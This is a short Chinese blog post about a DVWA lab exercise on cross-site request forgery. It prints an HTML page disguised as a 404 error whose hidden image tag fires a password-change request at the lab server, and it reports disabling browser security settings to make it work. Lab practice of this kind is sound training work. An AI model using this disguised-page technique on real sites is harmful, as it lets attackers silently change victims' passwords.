【渗透测试】|基于dvwa的CSRF初级，中级，高级

一、渗透测试

二、渗透测试过程中遇到的问题和解决
在初级csrf中，想要通过伪造一个404页面，达到修改密码的效果
伪造404页面的html代码如下：

<html>
<head>
head>
<body>
<img src="http://192.xx.xx.xx/dvwa/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#" border='0' style="display:none;"/>
<h1>404<h1>
<h2>file not foundww.<h2>
body>
html>

通过打开这个html，页面出现了404，但是密码并没有更改成功

直接通过http://192.xx.xx.xx/dvwa/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change#，密码是可以更改成功的。

解决：关闭浏览器的一些安全设置，火狐浏览器如图:
在这里插入图片描述
解决过程：
通过html打开404页面时，发现cookie的secutiry 为 impossible，而直接在dvwa中修改密码的cookie的secutiry 为 low，两者的phpsessid也不一样，各种查资料，发现可能的浏览器的安全设置导致的。。。

相关阅读:
LeetCode 731. My Calendar II【设计,有序映射,差分；线段树】中等
Mysql之部分表主从搭建及新增表
LeetCode算法心得——最短且字典序最小的美丽子字符串（枚举的思想）
自己动手写线程池——向JDK线程池进发
GO语言里的Log4j
DSPE-PEG-TPP；磷脂-聚乙二醇-磷酸三苯酯；（阻燃剂TPP）是种含磷元素的化合物，可用作无卤环保型阻燃剂
一文读懂差分数组~
git 命令总结
WSL2安装历程
一文教你如何在项目开发中使用日志

原文地址：https://blog.csdn.net/yangdan_jiayou/article/details/139260891